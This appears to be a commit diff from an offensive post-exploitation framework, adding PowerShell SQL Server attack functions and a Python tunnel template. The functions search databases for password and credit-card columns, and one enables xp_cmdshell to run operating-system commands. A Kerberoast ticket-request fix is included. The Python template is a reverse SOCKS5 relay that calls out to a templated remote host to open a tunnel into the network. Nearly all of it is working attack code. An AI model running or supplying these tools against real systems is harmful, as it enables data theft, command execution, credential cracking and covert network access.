[Parameter(Mandatory = $false,
HelpMessage = 'Comma seperated list of keywords to search for.')]
[string]$Keywords = 'Password',
[Parameter(Mandatory = $false,
HelpMessage = 'Database name to filter on.')]
[string]$DatabaseName,
[Parameter(Mandatory = $false,
HelpMessage = 'Use Luhn formula to check if sample is a valid credit card.')]
[switch]$ValidateCC,
[Parameter(Mandatory = $false,
HelpMessage = "Don't select tables from default databases.")]
[switch]$NoDefaults
)
Begin {
$TblData = New-Object -TypeName System.Data.DataTable
$null = $TblData.Columns.Add('ComputerName')
$null = $TblData.Columns.Add('Instance')
$null = $TblData.Columns.Add('Database')
$null = $TblData.Columns.Add('Schema')
$null = $TblData.Columns.Add('Table')
$null = $TblData.Columns.Add('Column')
$null = $TblData.Columns.Add('Sample')
$null = $TblData.Columns.Add('RowCount')
if($ValidateCC) { $null = $TblData.Columns.Add('IsCC') }
} Process {
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if(-not $Instance) { $Instance = $env:COMPUTERNAME }
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | ? -FilterScript { $_.Status -eq 'Accessible' }
if(-not $TestConnection) {
"$Instance : CONNECTION FAILED"
Return
} else {
"$Instance : START SEARCH DATA BY COLUMN "
"$Instance : - Connection Success. "
"$Instance : - Searching for column names that match criteria... "
if($NoDefaults) {
$Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -ColumnNameSearch $Keywords -NoDefaults
} else {
$Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -ColumnNameSearch $Keywords
}
}
if($Columns) {
$Columns | % -Process {
Write-Verbose $_.DatabaseName
$sDatabaseName = $_.DatabaseName
$sSchemaName = $_.SchemaName
$sTableName = $_.TableName
$sColumnName = $_.ColumnName
$AffectedColumn = "[$sDatabaseName].[$sSchemaName].[$sTableName].[$sColumnName]"
$AffectedTable = "[$sDatabaseName].[$sSchemaName].[$sTableName]"
$Query = "USE $sDatabaseName; SELECT TOP $SampleSize [$sColumnName] FROM $AffectedTable WHERE [$sColumnName] is not null"
$QueryRowCount = "USE $sDatabaseName; SELECT count(CAST([$sColumnName] as VARCHAR(200))) as NumRows FROM $AffectedTable WHERE [$sColumnName] is not null"
"$Instance : - Table match: $AffectedTable "
"$Instance : - Column match: $AffectedColumn "
"$Instance : - Selecting $SampleSize rows of data sample from column $AffectedColumn. "
$RowCountOut = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Query $QueryRowCount
$RowCount = $RowCountOut.NumRows
$SQLQuery = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Query $Query
$SQLQuery.$sColumnName | % -Process {
$null = $TblData.Rows.Add($ComputerName, $Instance, $sDatabaseName, $sSchemaName, $sTableName, $sColumnName, $_, $RowCount)
}
}
} else {
"$Instance : - No columns were found that matched the search. "
}
"$Instance : END SEARCH DATA BY COLUMN "
} End {
ForEach ($Row in $TblData) {
"ComputerName : " + $Row.ComputerName
"Instance : " + $Row.Instance
"Database : " + $Row.Database
"Schema : " + $Row.Schema
"Table : " + $Row.Table
"Column : " + $Row.Column
"Sample : " + $Row.Sample
"RowCount : " + $Row.RowCount
""
}
}
}

View File

@ -0,0 +1,113 @@
Function Get-ComputerNameFromInstance {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance.')]
[string]$Instance
)
If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]}
else{$ComputerName = $env:COMPUTERNAME}
Return $ComputerName
}
Function Get-SQLConnectionObject {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Dedicated Administrator Connection (DAC).')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut = 1
)
Begin {
if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''}
if(-not $Database){$Database = 'Master'}
} Process {
if (-not $Instance) {
$Instance = $env:COMPUTERNAME
}
$Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
if(-not $Username) {
$AuthenticationType = "Current Windows Credentials"
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1"
}
if ($username -like "*\*") {
$AuthenticationType = "Provided Windows Credentials"
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut"
}
if (($username) -and ($username -notlike "*\*")) {
$AuthenticationType = "Provided SQL Login"
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"
}
return $Connection
} End {
}
}
Function Get-SQLQuery {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server query.')]
[string]$Query,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[int]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Return error message if exists.')]
[switch]$ReturnError
)
Begin {
$TblQueryResults = New-Object -TypeName System.Data.DataTable
} Process {
if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database}
else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database}
$ConnectionString = $Connection.Connectionstring
$Instance = $ConnectionString.split(';')[0].split('=')[1]
if($Query) {
$Connection.Open()
"$Instance : Connection Success."
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
try {
$Results = $Command.ExecuteReader()
$TblQueryResults.Load($Results)
} catch {
# pass
}
$Connection.Close()
$Connection.Dispose()
}
else{'No query provided to Get-SQLQuery function.';Break}
} End {
if($ReturnError){$ErrorMessage}
else{$TblQueryResults.Column1}
}
}

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -551,6 +551,11 @@ Outputs a custom object containing the SamAccountName, DistinguishedName, Servic
$DistinguishedName = $Null $DistinguishedName = $Null
} }
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :)
if($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]){
$UserSPN = $UserSPN[0]
}
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
$TicketByteStream = $Ticket.GetRequest() $TicketByteStream = $Ticket.GetRequest()
if ($TicketByteStream) { if ($TicketByteStream) {

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,236 @@
Function Get-ComputerNameFromInstance
{
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance.')]
[string]$Instance
)
If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]}
else{$ComputerName = $env:COMPUTERNAME}
Return $ComputerName
}
Function Get-SQLConnectionObject
{
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Dedicated Administrator Connection (DAC).')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut = 1
)
Begin
{
if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''}
if(-not $Database){$Database = 'Master'}
}
Process
{
if(-not $Instance){$Instance = $env:COMPUTERNAME}
$Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
if($Username -and $Password){$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"}
else
{
$UserDomain = [Environment]::UserDomainName
$Username = [Environment]::UserName
$ConnectionectUser = "$UserDomain\$Username"
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1"
}
return $Connection
}
End
{
}
}
Function Get-SQLQuery
{
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server query.')]
[string]$Query,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[int]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Return error message if exists.')]
[switch]$ReturnError
)
Begin
{
$TblQueryResults = New-Object -TypeName System.Data.DataTable
}
Process
{
if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database}
else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database}
$ConnectionString = $Connection.Connectionstring
$Instance = $ConnectionString.split(';')[0].split('=')[1]
if($Query)
{
$Connection.Open()
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
try {
$Results = $Command.ExecuteReader()
$TblQueryResults.Load($Results)
} catch {
#pass
}
$Connection.Close()
$Connection.Dispose()
}
else{'No query provided to Get-SQLQuery function.';Break}
}
End
{
if($ReturnError){$ErrorMessage}
else{$TblQueryResults}
}
}
Function Invoke-SQLOSCmd
{
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $true,
HelpMessage = 'OS command to be executed.')]
[String]$Command,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Number of threads.')]
[int]$Threads = 1,
[Parameter(Mandatory = $false,
HelpMessage = 'Just show the raw results without the computer or instance name.')]
[switch]$RawResults
)
Begin
{
if(-not $Instance){$Instance = $env:COMPUTERNAME}
if($Instance){$ProvideInstance = New-Object -TypeName PSObject -Property @{Instance = $Instance}}
}
Process
{
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if(-not $Instance){$Instance = $env:COMPUTERNAME}
if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut}
else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut}
$Connection.Open()
"$Instance : Connection Success."
$DisableShowAdvancedOptions = 0
$DisableXpCmdshell = 0
$Query = "SELECT '$ComputerName' as [ComputerName],
'$Instance' as [Instance],
CASE
WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No'
ELSE 'Yes'
END as IsSysadmin"
$TblSysadminStatus = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
if($TblSysadminStatus.IsSysadmin -eq 'Yes')
{
"$Instance : You are a sysadmin."
$IsXpCmdshellEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell'" -Username $Username -Password $Password
$IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password
}
else{"$Instance : You are not a sysadmin. This command requires sysadmin privileges.";return}
if ($IsShowAdvancedEnabled.config_value -eq 1){"$Instance : Show Advanced Options is already enabled."}
else
{
"$Instance : Show Advanced Options is disabled."
$DisableShowAdvancedOptions = 1
Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password
$IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password
if($IsShowAdvancedEnabled2.config_value -eq 1){"$Instance : Enabled Show Advanced Options."}
else{"$Instance : Enabling Show Advanced Options failed. Aborting.";return}
}
if ($IsXpCmdshellEnabled.config_value -eq 1){"$Instance : xp_cmdshell is already enabled."}
else
{
"$Instance : xp_cmdshell is disabled."
$DisableXpCmdshell = 1
Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',1;RECONFIGURE" -Username $Username -Password $Password
$IsXpCmdshellEnabled2 = Get-SQLQuery -Instance $Instance -Query 'sp_configure xp_cmdshell' -Username $Username -Password $Password
if($IsXpCmdshellEnabled2.config_value -eq 1){"$Instance : Enabled xp_cmdshell."}
else{"$Instance : Enabling xp_cmdshell failed. Aborting.";return}
}
"$Instance : Running command: $Command"
$Query = "EXEC master..xp_cmdshell '$Command'"
$CmdResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
""
$CmdResults.output
if($DisableXpCmdshell -eq 1){"$Instance : Disabling xp_cmdshell";Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',0;RECONFIGURE" -Username $Username -Password $Password}
if($DisableShowAdvancedOptions -eq 1){"$Instance : Disabling Show Advanced Options";Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password}
$Connection.Close()
$Connection.Dispose()
}
End
{
}
}

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,437 @@
#from __future__ import unicode_literals, division
import select
import socket
import ssl
import struct
import sys
import threading
class MessageType(object):
Control = 0
Data = 1
OpenChannel = 2
CloseChannel = 3
@classmethod
def validate(cls, arg):
if not isinstance(arg, int) or not MessageType.Control <= arg <= MessageType.CloseChannel:
raise TypeError()
return arg
class Message(object):
HDR_STRUCT = b'!BHI'
HDR_SIZE = struct.calcsize(HDR_STRUCT)
def __init__(self, body, channel_id, msg_type=MessageType.Data):
self.body = body
self._channel_id = channel_id
self.msg_type = msg_type
@property
def channel_id(self):
return self._channel_id
@classmethod
def parse_hdr(cls, data):
msg_type, channel_id, length = struct.unpack(cls.HDR_STRUCT, data[:struct.calcsize(cls.HDR_STRUCT)])
MessageType.validate(msg_type)
return msg_type, channel_id, length
@classmethod
def parse(cls, data):
if len(data) < cls.HDR_SIZE:
raise ValueError()
msg_type, channel_id, length = cls.parse_hdr(data[:cls.HDR_SIZE])
data = data[cls.HDR_SIZE:]
if length != len(data):
raise ValueError()
MessageType.validate(msg_type)
return Message(data, channel_id, msg_type=msg_type)
def serialize(self):
return struct.pack(self.HDR_STRUCT, self.msg_type, self.channel_id, len(self.body)) + self.body
class Channel(object):
def __init__(self, channel_id):
self._channel_id = channel_id
self._client_end, self._tunnel_end = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)
self.tx = 0
self.rx = 0
@property
def tunnel_interface(self):
return self._tunnel_end
@property
def client_interface(self):
return self._client_end
@property
def channel_id(self):
return self._channel_id
def fileno(self):
return self._client_end.fileno()
def close(self):
self._client_end.close()
def send(self, data, flags=0):
self._client_end.sendall(data, flags)
self.tx += len(data)
def recv(self, length):
try:
data = self._client_end.recv(length)
except Exception:
data = b''
else:
self.rx += len(data)
return data
class Tunnel(object):
def __init__(self, sock, open_channel_callback=None, close_channel_callback=None):
self.transport = sock
self.transport_lock = threading.Lock()
self.channels = []
self.closed_channels = {}
if open_channel_callback is None:
self.open_channel_callback = lambda x: None
else:
self.open_channel_callback = open_channel_callback
if close_channel_callback is None:
self.close_channel_callback = lambda x: None
else:
self.close_channel_callback = close_channel_callback
self.monitor_thread = threading.Thread(target=self._monitor)
self.monitor_thread.daemon = True
self.monitor_thread.start()
def wait(self):
self.monitor_thread.join()
@property
def channel_id_map(self):
return {x: y for x, y in self.channels}
@property
def id_channel_map(self):
return {y: x for x, y in self.channels}
def _close_channel_remote(self, channel_id):
message = Message(b'', channel_id, msg_type=MessageType.CloseChannel)
self.transport_lock.acquire()
self.transport.sendall(message.serialize())
self.transport_lock.release()
def close_channel(self, channel_id, close_remote=False, exc=False):
if channel_id in self.closed_channels:
if close_remote:
self._close_channel_remote(channel_id)
return
if channel_id not in self.id_channel_map:
if exc:
raise ValueError()
else:
return
channel = self.id_channel_map[channel_id]
try:
self.channels.remove((channel, channel_id))
except ValueError:
return
channel.close()
channel.tunnel_interface.close()
if close_remote:
self._close_channel_remote(channel_id)
self.close_channel_callback(channel)
self.closed_channels[channel_id] = channel
def close_tunnel(self):
for channel, channel_id in self.channels:
self.close_channel(channel_id, close_remote=True)
self.transport.close()
def _open_channel_remote(self, channel_id):
message = Message(b'', channel_id, MessageType.OpenChannel)
self.transport_lock.acquire()
self.transport.sendall(message.serialize())
self.transport_lock.release()
def open_channel(self, channel_id, open_remote=False, exc=False):
if channel_id in self.id_channel_map:
if exc:
raise ValueError()
else:
return self.id_channel_map[channel_id]
channel = Channel(channel_id)
self.channels.append((channel, channel_id))
if open_remote:
self._open_channel_remote(channel_id)
self.open_channel_callback(channel)
return channel
def recv_message(self):
data = b''
while len(data) < Message.HDR_SIZE:
_data = self.transport.recv(Message.HDR_SIZE - len(data))
if not _data:
break
data += _data
if len(data) != Message.HDR_SIZE:
raise ValueError()
msg_type, channel_id, length = Message.parse_hdr(data)
chunks = []
received = 0
while received < length:
_data = self.transport.recv(length - received)
if not _data:
break
chunks.append(_data)
received += len(_data)
if received != length:
raise ValueError()
return Message(b''.join(chunks), channel_id, msg_type)
def _monitor(self):
while True:
ignored_channels = []
read_fds = [channel.tunnel_interface for channel, channel_id in self.channels] + [self.transport]
try:
r, _, _ = select.select(read_fds, [], [], 1)
except Exception:
continue
if not r:
continue
if self.transport in r:
try:
message = self.recv_message()
except ValueError:
sys.exit(1)
if message.msg_type == MessageType.CloseChannel:
self.close_channel(message.channel_id)
ignored_channels.append(message.channel_id)
elif message.msg_type == MessageType.OpenChannel:
self.open_channel(message.channel_id)
elif message.msg_type == MessageType.Data:
channel = self.id_channel_map.get(message.channel_id)
if channel is None:
self.close_channel(message.channel_id, close_remote=True)
else:
try:
channel.tunnel_interface.sendall(message.body)
except OSError as e:
self.close_channel(channel_id=message.channel_id, close_remote=True)
else:
tiface_channel_map = {channel.tunnel_interface: channel for (channel, channel_id) in self.channels}
for tunnel_iface in r:
if tunnel_iface == self.transport:
continue
channel = tiface_channel_map.get(tunnel_iface)
if channel is None or channel.channel_id in ignored_channels:
continue
try:
data = tunnel_iface.recv(4096)
except Exception:
self.close_channel(channel.channel_id, close_remote=True)
continue
if not data:
self.close_channel(channel.channel_id, close_remote=True)
continue
message = Message(data, channel.channel_id, MessageType.Data)
try:
self.transport_lock.acquire()
self.transport.sendall(message.serialize())
self.transport_lock.release()
except:
return
return
def proxy_sock_channel(self, sock, channel, logger):
def close_both():
self.close_channel(channel.channel_id, close_remote=True)
sock.close()
while True:
if (channel, channel.channel_id) not in self.channels:
return
readfds = [channel, sock]
try:
r, _, _ = select.select(readfds, [], [], 1)
except Exception:
return
if not r:
continue
if channel in r:
try:
data = channel.recv(4096)
except Exception:
close_both()
return
else:
if not data:
close_both()
return
try:
sock.sendall(data)
except Exception:
close_both()
return
if sock in r:
try:
data = sock.recv(4096)
except Exception:
close_both()
return
else:
if not data:
close_both()
return
try:
channel.send(data)
except Exception:
close_both()
return
class Socks5Proxy(object):
@staticmethod
def _remote_connect(remote_host, remote_port, sock, af=socket.AF_INET):
remote_socket = socket.socket(af, socket.SOCK_STREAM)
if af == socket.AF_INET:
atyp = 1
local_addr = ('0.0.0.0', 0)
else:
atyp = 4
local_addr = ('::', 0)
try:
remote_socket.connect((remote_host, remote_port))
except Exception:
reply = struct.pack('BBBB', 0x05, 0x05, 0x00, atyp)
else:
local_addr = remote_socket.getsockname()[:2]
reply = struct.pack('BBBB', 0x05, 0x00, 0x00, atyp)
reply += socket.inet_pton(af, local_addr[0]) + struct.pack('!H', local_addr[1])
sock.send(reply)
return remote_socket
@classmethod
def new_connect(cls, sock):
sock.recv(4096)
sock.sendall(struct.pack('BB', 0x05, 0x00))
request_data = sock.recv(4096)
if len(request_data) >= 10:
ver, cmd, rsv, atyp = struct.unpack('BBBB', request_data[:4])
if ver != 0x05 or cmd != 0x01:
sock.sendall(struct.pack('BBBB', 0x05, 0x01, 0x00, 0x00))
sock.close()
raise ValueError()
else:
sock.sendall(struct.pack('BBBB', 0x05, 0x01, 0x00, 0x00))
sock.close()
raise ValueError()
if atyp == 1:
addr_type = socket.AF_INET
addr = socket.inet_ntop(socket.AF_INET, request_data[4:8])
port, = struct.unpack('!H', request_data[8:10])
elif atyp == 3:
addr_type = socket.AF_INET
length, = struct.unpack('B', request_data[4:5])
addr = request_data[5:5 + length].decode()
port, = struct.unpack('!H', request_data[length + 5:length + 5 + 2])
elif atyp == 4:
addr_type = socket.AF_INET6
addr = socket.inet_ntop(socket.AF_INET6, request_data[4:20])
port, = struct.unpack('!H', request_data[20:22])
else:
sock.sendall(struct.pack('BBBB', 0x05, 0x08, 0x00, 0x00))
sock.close()
raise ValueError()
host = (addr, port)
remote_sock = cls._remote_connect(addr, port, sock, af=addr_type)
return remote_sock, host
class Relay(object):
def __init__(self, connect_host, connect_port, no_ssl=False):
self.no_ssl = no_ssl
self.connect_server = (connect_host, connect_port)
self.tunnel = None
self.tunnel_sock = socket.socket()
if not no_ssl:
try:
self.tunnel_sock = ssl.wrap_socket(self.tunnel_sock)
except ssl.SSLError as e:
sys.exit(-1)
def _handle_channel(self, channel):
sock = None
try:
sock, addr = Socks5Proxy.new_connect(channel.client_interface)
except ValueError:
self.tunnel.close_channel(channel.channel_id, close_remote=True)
return
except Exception:
self.tunnel.close_channel(channel.channel_id, close_remote=True)
try:
if isinstance(sock, socket.socket):
sock.close()
except:
pass
return
self.tunnel.proxy_sock_channel(sock, channel, None)
def open_channel_callback(self, channel):
t = threading.Thread(target=self._handle_channel, args=(channel,))
t.daemon = True
t.start()
def run(self):
try:
self.tunnel_sock.connect(self.connect_server)
except Exception:
return
self.tunnel = Tunnel(self.tunnel_sock, open_channel_callback=self.open_channel_callback)
self.tunnel.wait()
relay = Relay('${host}', ${port}, no_ssl=${no_ssl})
relay.run()

View File

@ -0,0 +1,589 @@
Function Get-ComputerNameFromInstance {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance.')]
[string]$Instance
)
If ($Instance) {
$ComputerName = $Instance.split('\')[0].split(',')[0]
} else {
$ComputerName = $env:COMPUTERNAME
}
Return $ComputerName
}
Function Get-SQLConnectionTest {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin {
$TblResults = New-Object -TypeName System.Data.DataTable
$null = $TblResults.Columns.Add('ComputerName')
$null = $TblResults.Columns.Add('Instance')
$null = $TblResults.Columns.Add('Status')
} Process {
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if(-not $Instance) {
$Instance = $env:COMPUTERNAME
}
if($DAC) {
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut -Database $Database
} else {
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database
}
try {
$Connection.Open()
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')
$Connection.Close()
$Connection.Dispose()
} catch {
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
}
} End {
$TblResults
}
}
Function Get-SQLSession {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'PrincipalName.')]
[string]$PrincipalName,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin {
$TblSessions = New-Object -TypeName System.Data.DataTable
$null = $TblSessions.Columns.Add('ComputerName')
$null = $TblSessions.Columns.Add('Instance')
$null = $TblSessions.Columns.Add('PrincipalSid')
$null = $TblSessions.Columns.Add('PrincipalName')
$null = $TblSessions.Columns.Add('OriginalPrincipalName')
$null = $TblSessions.Columns.Add('SessionId')
$null = $TblSessions.Columns.Add('SessionStartTime')
$null = $TblSessions.Columns.Add('SessionLoginTime')
$null = $TblSessions.Columns.Add('SessionStatus')
if($PrincipalName) {
$PrincipalNameFilter = " and login_name like '$PrincipalName'"
} else {
$PrincipalNameFilter = ''
}
} Process {
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if(-not $Instance) {
$Instance = $env:COMPUTERNAME
}
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript {
$_.Status -eq 'Accessible'
}
if(-not $TestConnection) {
return
}
$Query = " USE master;
SELECT '$ComputerName' as [ComputerName],
'$Instance' as [Instance],
security_id as [PrincipalSid],
login_name as [PrincipalName],
original_login_name as [OriginalPrincipalName],
session_id as [SessionId],
last_request_start_time as [SessionStartTime],
login_time as [SessionLoginTime],
status as [SessionStatus]
FROM [sys].[dm_exec_sessions]
ORDER BY status
$PrincipalNameFilter"
$TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
$TblResults | ForEach-Object -Process {
$NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','')
if ($NewSid.length -le 10) {
$Sid = [Convert]::ToInt32($NewSid,16)
} else {
$Sid = $NewSid
}
$null = $TblSessions.Rows.Add(
[string]$_.ComputerName,
[string]$_.Instance,
$Sid,
[string]$_.PrincipalName,
[string]$_.OriginalPrincipalName,
[string]$_.SessionId,
[string]$_.SessionStartTime,
[string]$_.SessionLoginTime,
[string]$_.SessionStatus
)
}
} End {
$TblSessions
}
}
Function Get-SQLSysadminCheck {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin {
$TblSysadminStatus = New-Object -TypeName System.Data.DataTable
if($CredentialName) {
$CredentialNameFilter = " WHERE name like '$CredentialName'"
} else {
$CredentialNameFilter = ''
}
} Process {
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if(-not $Instance) {
$Instance = $env:COMPUTERNAME
}
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript {
$_.Status -eq 'Accessible'
}
if(-not $TestConnection) {
return
}
$Query = "SELECT '$ComputerName' as [ComputerName],
'$Instance' as [Instance],
CASE
WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No'
ELSE 'Yes'
END as IsSysadmin"
